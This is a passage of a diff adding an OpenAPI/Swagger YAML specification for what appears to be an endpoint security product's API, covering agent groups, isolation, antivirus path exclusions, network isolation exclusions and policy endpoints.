+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Group/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_Group_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_Group_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Group'
+      tags:
+        - agent
+    parameters:
+      - description: A unique value identifying this group.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_Group_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Group'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Group'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_Group_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Group'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Group'
+      tags:
+        - agent
+  /data/endpoint/Group/{id}/add_agents/:
+    parameters:
+      - description: A unique value identifying this group.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Add a list of agents to a group.
+      operationId: data_endpoint_Group_add_agents
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentOrGroupListSimple'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid input
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Group/{id}/add_agents_with_csv/:
+    parameters:
+      - description: A unique value identifying this group.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Add a list of agents to a group, with a CSV.
+      operationId: data_endpoint_Group_add_agents_with_csv
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Group'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid input
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Group/{id}/deisolation/:
+    parameters:
+      - description: A unique value identifying this group.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Group_deisolation
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Group'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentIsolation'
+      tags:
+        - agent
+  /data/endpoint/Group/{id}/delete_agents/:
+    parameters:
+      - description: A unique value identifying this group.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Delete a list of agents from a group.
+      operationId: data_endpoint_Group_delete_agents
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentIdListOrAll'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid input
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Group/{id}/isolation/:
+    parameters:
+      - description: A unique value identifying this group.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Group_isolation
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Group'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentIsolation'
+      tags:
+        - agent
+  /data/endpoint/Group/{id}/policies/:
+    get:
+      description: ""
+      operationId: data_endpoint_Group_policies
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/Policy'
+            type: array
+      tags:
+        - agent
+    parameters:
+      - description: A unique value identifying this group.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Group/{id}/uninstall/:
+    parameters:
+      - description: A unique value identifying this group.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Group_uninstall
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Group'
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: uninstall requested
+          properties:
+            status:
+              description: uninstall requested
+              type: string
+          type: object
+      tags:
+        - agent
+  /data/endpoint/Group/{id}/update/:
+    parameters:
+      - description: A unique value identifying this group.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Group_request_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Group'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Group/{id}/update_policy/:
+    parameters:
+      - description: A unique value identifying this group.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Group_update_policy
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdatePolicyGroup'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid policy_id
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/HurukaiAvPathExclusion/:
+    get:
+      description: ""
+      operationId: data_endpoint_HurukaiAvPathExclusion_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/PathExclusion'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_HurukaiAvPathExclusion_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PathExclusion'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/PathExclusion'
+      tags:
+        - agent
+  /data/endpoint/HurukaiAvPathExclusion/create_many/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_HurukaiAvPathExclusion_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PathExclusionList'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid input
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/HurukaiAvPathExclusion/delete_many_path_exclusions/:
+    delete:
+      description: Delete multiple path exclusions
+      operationId: data_endpoint_HurukaiAvPathExclusion_delete_many_path_exclusions
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BulkDeleteHLAVPathExclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid input
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/HurukaiAvPathExclusion/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_HurukaiAvPathExclusion_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_HurukaiAvPathExclusion_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PathExclusion'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this path exclusion.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_HurukaiAvPathExclusion_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PathExclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PathExclusion'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_HurukaiAvPathExclusion_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PathExclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PathExclusion'
+      tags:
+        - agent
+  /data/endpoint/NetworkIsolationExclusion/:
+    get:
+      description: ""
+      operationId: data_endpoint_NetworkIsolationExclusion_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: local_application
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: policy
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: network_exclusion__protocol
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: network_exclusion__direction
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: network_exclusion.local_ip.representation
+          required: false
+          type: string
+        - in: query
+          name: network_exclusion.local_ports.representation
+          required: false
+          type: string
+        - in: query
+          name: network_exclusion.remote_ip.representation
+          required: false
+          type: string
+        - in: query
+          name: network_exclusion.remote_ports.representation
+          required: false
+          type: string
+        - enum:
+            - ALL
+            - ICMP
+            - IPV6_ICMP
+            - TCP
+            - UDP
+          in: query
+          name: network_exclusion.protocol
+          required: false
+          type: string
+        - enum:
+            - Both
+            - In
+            - Out
+          in: query
+          name: network_exclusion.direction
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/NetworkIsolationExclusion'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_NetworkIsolationExclusion_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NetworkIsolationExclusion'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetworkIsolationExclusion'
+      tags:
+        - agent
+  /data/endpoint/NetworkIsolationExclusion/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_NetworkIsolationExclusion_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: local_application
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: policy
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: network_exclusion__protocol
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: network_exclusion__direction
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/NetworkIsolationExclusion/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_NetworkIsolationExclusion_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_NetworkIsolationExclusion_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetworkIsolationExclusion'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_NetworkIsolationExclusion_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NetworkIsolationExclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetworkIsolationExclusion'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_NetworkIsolationExclusion_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NetworkIsolationExclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetworkIsolationExclusion'
+      tags:
+        - agent
+  /data/endpoint/Policy/:
+    get:
+      description: ""
+      operationId: data_endpoint_Policy_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: loglevel
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: audit_killswitch
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: linux_startup_block
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: windows_self_protection
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: linux_self_protection
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: use_isolation
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ransomguard_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: sigma_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: telemetry_dns_resolution_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_process_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_network_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_log_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_remotethread_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_driverload_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_authentication_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_usb_activity_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_user_group_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_powershell_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_registry_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_raw_device_access_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_named_pipe_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_raw_socket_creation_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_network_listen_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_process_access_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_process_tamper_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_url_request_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_wmi_event_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_file_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_scheduled_tasks_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_service_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_amsi_dynamic_scripts_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_amsi_other_scans_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: binary_download_enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: library_download_enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: thread_download_enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: feature_callback_tampering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: feature_process_tampering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: feature_live_process_heuristics
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: feature_windows_filesystem_events
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: driverblock_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: yara_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: ioc_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: hlai_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: agent_upgrade_strategy
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: fim_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firewall_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_policy__id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: fim_policy.id
+          required: false
+          type: string
+        - in: query
+          name: fim_policy
+          required: false
+          type: string
+        - in: query
+          name: device_control_policy.id
+          required: false
+          type: string
+        - in: query
+          name: device_control_policy
+          required: false
+          type: string
+        - in: query
+          name: firewall_policy.id
+          required: false
+          type: string
+        - in: query
+          name: firewall_policy
+          required: false
+          type: string
+        - in: query
+          name: vulnerability_policy.id
+          required: false
+          type: string
+        - in: query
+          name: vulnerability_policy
+          required: false
+          type: string
+        - in: query
+          name: antivirus_policy.id
+          required: false
+          type: string
+        - in: query
+          name: antivirus_policy_name
+          required: false
+          type: string
+        - in: query
+          name: antivirus_policy
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Policy'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_Policy_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Policy'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/Policy'
+      tags:
+        - agent
+  /data/endpoint/Policy/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_Policy_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: loglevel
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: audit_killswitch
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: linux_startup_block
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: windows_self_protection
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: linux_self_protection
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: use_isolation
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ransomguard_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: sigma_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: telemetry_dns_resolution_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_process_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_network_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_log_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_remotethread_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_driverload_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_authentication_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_usb_activity_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_user_group_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_powershell_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_registry_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_raw_device_access_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_named_pipe_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_raw_socket_creation_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_network_listen_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_process_access_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_process_tamper_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_url_request_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_wmi_event_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_file_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_scheduled_tasks_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_service_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_amsi_dynamic_scripts_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: telemetry_amsi_other_scans_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: binary_download_enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: library_download_enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: thread_download_enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: feature_callback_tampering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: feature_process_tampering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: feature_live_process_heuristics
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: feature_windows_filesystem_events
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: driverblock_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: yara_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: ioc_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: hlai_mode
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: agent_upgrade_strategy
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: fim_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firewall_policy__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_policy__id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Policy/upload_yaml/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_endpoint_Policy_upload_yaml
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Policy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/_UploadStatusSerialier'
+            type: array
+      tags:
+        - agent
+  /data/endpoint/Policy/{id}/:
+    delete:
+      description: ""
+      operationId: data_endpoint_Policy_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - agent
+    get:
+      description: ""
+      operationId: data_endpoint_Policy_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Policy'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_endpoint_Policy_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Policy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Policy'
+      tags:
+        - agent
+    put:
+      description: ""
+      operationId: data_endpoint_Policy_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Policy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_PolicyUpdate'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Policy/{id}/add_agents/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Add all specified agents to a policy, using their ID or the ID of a group they are currently in.
+      operationId: data_endpoint_Policy_add_agents
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentOrGroupListSimple'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid input
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Policy/{id}/add_agents_with_csv/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Add a list of agents to a policy, with a CSV.
+      operationId: data_endpoint_Policy_add_agents_with_csv
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Policy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid input
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Policy/{id}/add_group/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      deprecated: true
+      description: Use add_agents instead, and provide the group's ID.
+      operationId: data_endpoint_Policy_add_group
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Policy'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/Policy'
+      summary: Add all agents in the specified groups to a policy
+      tags:
+        - agent
+  /data/endpoint/Policy/{id}/antivirus/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Policy_antivirus
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_UUID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Policy/{id}/delete_agents/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Remove all specified agents from a policy, using their ID or the ID of a group they are currently in.
+      operationId: data_endpoint_Policy_delete_agents
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentOrGroupListSimple'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: invalid input
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Policy/{id}/device_control/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_endpoint_Policy_device_control
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_OptionalUUID'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - agent
+  /data/endpoint/Policy/{id}/download_yaml/:
+    get:
+      description: ""
+      operationId: data_endpoint_Policy_download_yaml
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Policy'
+      tags:
+        - agent
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
